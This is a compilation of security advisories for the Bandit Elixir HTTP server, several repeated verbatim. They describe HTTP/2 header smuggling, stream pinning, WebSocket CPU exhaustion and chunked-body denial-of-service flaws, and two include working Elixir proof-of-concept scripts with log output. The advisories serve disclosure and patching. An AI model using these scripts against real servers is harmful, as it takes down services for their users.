bandit

Summary

Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.

Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.

This issue affects bandit: from 1.4.0 before 1.12.5.

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Summary

Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.

Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.

This issue affects bandit: from 1.4.0 before 1.12.5.

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Summary

Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.

Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.

This issue affects bandit: from 1.4.0 before 1.12.5.

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Summary

Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.

Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.

This issue affects bandit: from 1.4.0 before 1.12.5.

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Summary

Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.

Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.

This issue affects bandit: from 1.4.0 before 1.12.5.

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Summary

Inefficient Algorithmic Complexity vulnerability in mtrudel bandit allows unauthenticated remote denial of service via CPU exhaustion during WebSocket fragment reassembly.

The size guard 'Elixir.Bandit.WebSocket.Connection':oversize_message?/2 called from handle_frame/3 in lib/bandit/websocket/connection.ex appends each non-final continuation frame to a left-nested iolist and then re-measures the entire accumulated buffer with IO.iodata_length/1 on every frame. Because the buffer grows by one element per frame and is fully re-traversed each time, reassembly work is quadratic (O(n^2)) in the number of continuation frames.

The max_fragmented_message_size limit (default 8 MB) bounds total bytes but not frame count, and each frame can carry as little as one payload byte, so an attacker can send millions of tiny continuation frames using modest bandwidth to pin a CPU core for minutes to hours. Many concurrent connections can starve the whole server of CPU, denying service to legitimate users. The WebSocket read timeout does not help, because it is an idle timeout evaluated between reads and cannot preempt the synchronous reassembly work spent inside a single callback.

This issue affects bandit: from 1.11.0 before 1.12.1.

Configurations

This vulnerability only affects applications that serve WebSocket endpoints through Bandit (including Phoenix applications that use Bandit as the HTTP adapter). Applications that do not upgrade any connections to WebSocket are not affected.

Summary

Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.

Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.

This issue affects bandit: from 1.4.0 before 1.12.5.

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Summary

Inefficient Algorithmic Complexity vulnerability in mtrudel bandit allows unauthenticated remote denial of service via CPU exhaustion during WebSocket fragment reassembly.

The size guard 'Elixir.Bandit.WebSocket.Connection':oversize_message?/2 called from handle_frame/3 in lib/bandit/websocket/connection.ex appends each non-final continuation frame to a left-nested iolist and then re-measures the entire accumulated buffer with IO.iodata_length/1 on every frame. Because the buffer grows by one element per frame and is fully re-traversed each time, reassembly work is quadratic (O(n^2)) in the number of continuation frames.

The max_fragmented_message_size limit (default 8 MB) bounds total bytes but not frame count, and each frame can carry as little as one payload byte, so an attacker can send millions of tiny continuation frames using modest bandwidth to pin a CPU core for minutes to hours. Many concurrent connections can starve the whole server of CPU, denying service to legitimate users. The WebSocket read timeout does not help, because it is an idle timeout evaluated between reads and cannot preempt the synchronous reassembly work spent inside a single callback.

This issue affects bandit: from 1.11.0 before 1.12.1.

Configurations

This vulnerability only affects applications that serve WebSocket endpoints through Bandit (including Phoenix applications that use Bandit as the HTTP adapter). Applications that do not upgrade any connections to WebSocket are not affected.

Summary

Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.

Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.

This issue affects bandit: from 1.4.0 before 1.12.5.

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Summary

Inefficient Algorithmic Complexity vulnerability in mtrudel bandit allows unauthenticated remote denial of service via CPU exhaustion during WebSocket fragment reassembly.

The size guard 'Elixir.Bandit.WebSocket.Connection':oversize_message?/2 called from handle_frame/3 in lib/bandit/websocket/connection.ex appends each non-final continuation frame to a left-nested iolist and then re-measures the entire accumulated buffer with IO.iodata_length/1 on every frame. Because the buffer grows by one element per frame and is fully re-traversed each time, reassembly work is quadratic (O(n^2)) in the number of continuation frames.

The max_fragmented_message_size limit (default 8 MB) bounds total bytes but not frame count, and each frame can carry as little as one payload byte, so an attacker can send millions of tiny continuation frames using modest bandwidth to pin a CPU core for minutes to hours. Many concurrent connections can starve the whole server of CPU, denying service to legitimate users. The WebSocket read timeout does not help, because it is an idle timeout evaluated between reads and cannot preempt the synchronous reassembly work spent inside a single callback.

This issue affects bandit: from 1.11.0 before 1.12.1.

Configurations

This vulnerability only affects applications that serve WebSocket endpoints through Bandit (including Phoenix applications that use Bandit as the HTTP adapter). Applications that do not upgrade any connections to WebSocket are not affected.

Summary

A worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a Transfer-Encoding: chunked request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.

The vulnerability was likely introduced with this commit on Dec 6, 2024: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217

Details

The bug is in lib/bandit/http1/socket.ex in do_read_chunked_data!/5 (around lines 242–274). The terminator clause matches only ["0", "\r\n" <> rest] — i.e. the last-chunk line 0\r\n followed immediately by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between 0\r\n and the final \r\n, e.g. a body ending 0\r\nX-T: v\r\n\r\n.

When trailers are present, :binary.split/2 returns ["0", "X-T: v\r\n\r\n"]. The terminator clause does not match. The inner <<_::binary-size(0), ?\r, ?\n, _::binary>> pattern also does not match because rest starts with X. Execution falls into the _ -> arm, which computes to_read = 0 - byte_size(rest) (a negative number) and calls read_available!/2 on the socket. On timeout, read_available!/2 returns <<>>, leaving the buffer unchanged. do_read_chunked_data!/5 then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.

The same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and read_available! is repeatedly called with no progress.

The gap is acknowledged in the source itself — the comment on line 245 reads: "We should be reading (and ignoring) trailers here".

Suggested fix: after the 0 size line, consume bytes up to \r\n\r\n (parsing/discarding trailers via :erlang.decode_packet(:httph_bin, …)) before returning. Additionally, ensure every recursive arm makes forward progress — when read_available!/2 returns <<>>, raise request_error!(:request_timeout) rather than re-entering with an unchanged buffer.

PoC

A self-contained reproduction script is available below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:

• one 5-byte chunk "hello"
• the last-chunk marker 0\r\n
• one trailer field X-Trailer: 1\r\n
• the terminating \r\n

The request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, :gen_tcp.recv/3 times out after 10 seconds because the worker is stuck spinning in do_read_chunked_data!/5.

Steps to reproduce:

1. elixir script.exs
2. Observe the TIMEOUT — worker is pinned in do_read_chunked_data!/5 log line.
3. Each additional concurrent client sending the same request consumes one more worker process.

Impact

Unauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.

Script and Logs

# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.
#
# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates
# only when the last-chunk line `0\r\n` is followed *immediately* by the
# empty trailer line `\r\n`. RFC 9112 §7.1.2 allows trailer fields between
# them (e.g. `0\r\nX-T: v\r\n\r\n`). With trailers present, none of the
# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`
# (negative), calls read_available!/2, gets <<>> on timeout, and recurses
# with the same buffer forever — pinning the worker for the connection's
# lifetime. The line 245 comment ("We should be reading (and ignoring)
# trailers here") acknowledges the gap.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST
# whose body ends with a single trailer field, and waits for a response.
# A correct server replies in milliseconds; the buggy decoder never does.
#
# Run: elixir script.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule EchoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    {:ok, body, conn} = Plug.Conn.read_body(conn)
    Plug.Conn.send_resp(conn, 200, "got #{byte_size(body)} bytes")
  end
end

defmodule TrailerHang do
  @port 4321
  @recv_timeout_ms 10_000

  def run do
    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    request = build_chunked_request_with_trailer()
    log("Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.")
    :ok = :gen_tcp.send(sock, request)

    log("Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)…")
    started_at = System.monotonic_time(:millisecond)

    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do
      {:ok, response} ->
        elapsed = System.monotonic_time(:millisecond) - started_at
        log("Got response after #{elapsed}ms — server handles trailers correctly:")
        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))

      {:error, :timeout} ->
        log("TIMEOUT — worker is pinned in do_read_chunked_data!/5.")
        log("Each concurrent client sending this shape consumes one Bandit worker.")

      {:error, reason} ->
        log("Connection error: #{inspect(reason)}")
    end

    :gen_tcp.close(sock)
  end

  # Body: one 5-byte chunk "hello", last-chunk marker `0\r\n`, one trailer
  # `X-Trailer: 1\r\n`, terminating `\r\n`. RFC-conformant; many proxies
  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing
  # responses or requests.
  defp build_chunked_request_with_trailer do
    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1:#{@port}\r\n" <>
      "Transfer-Encoding: chunked\r\n" <>
      "Trailer: X-Trailer\r\n" <>
      "Content-Type: application/octet-stream\r\n" <>
      "\r\n" <>
      "5\r\nhello\r\n" <>
      "0\r\n" <>
      "X-Trailer: 1\r\n" <>
      "\r\n"
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

TrailerHang.run()

12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:36:54.275] Sending chunked POST whose body ends with `0\r\nX-Trailer: 1\r\n\r\n`.
[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)…
[10:37:04.276] TIMEOUT — worker is pinned in do_read_chunked_data!/5.
[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.

Summary

Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.

Details

In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.

The content-length sibling at :210 does the right thing:

max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))

Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.

Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.

PoC

Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.

Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])

defmodule DemoApp do
  use Plug.Builder

  # The `length` option here is ignored by the attack
  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
  plug :respond

  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end

{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)

# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"

{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])

:ok =
  :gen_tcp.send(sock, """
  POST / HTTP/1.1\r
  Host: 127.0.0.1\r
  Transfer-Encoding: chunked\r
  Content-Type: application/json\r
  Connection: close\r
  \r
  """)

Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")

IO.inspect(:gen_tcp.recv(sock, 0, 120_000))

Impact

Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.

Summary

Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.

Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.

This issue affects bandit: from 1.4.0 before 1.12.5.

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Summary

A worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a Transfer-Encoding: chunked request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.

The vulnerability was likely introduced with this commit on Dec 6, 2024: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217

Details

The bug is in lib/bandit/http1/socket.ex in do_read_chunked_data!/5 (around lines 242–274). The terminator clause matches only ["0", "\r\n" <> rest] — i.e. the last-chunk line 0\r\n followed immediately by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between 0\r\n and the final \r\n, e.g. a body ending 0\r\nX-T: v\r\n\r\n.

When trailers are present, :binary.split/2 returns ["0", "X-T: v\r\n\r\n"]. The terminator clause does not match. The inner <<_::binary-size(0), ?\r, ?\n, _::binary>> pattern also does not match because rest starts with X. Execution falls into the _ -> arm, which computes to_read = 0 - byte_size(rest) (a negative number) and calls read_available!/2 on the socket. On timeout, read_available!/2 returns <<>>, leaving the buffer unchanged. do_read_chunked_data!/5 then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.

The same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and read_available! is repeatedly called with no progress.

The gap is acknowledged in the source itself — the comment on line 245 reads: "We should be reading (and ignoring) trailers here".

Suggested fix: after the 0 size line, consume bytes up to \r\n\r\n (parsing/discarding trailers via :erlang.decode_packet(:httph_bin, …)) before returning. Additionally, ensure every recursive arm makes forward progress — when read_available!/2 returns <<>>, raise request_error!(:request_timeout) rather than re-entering with an unchanged buffer.

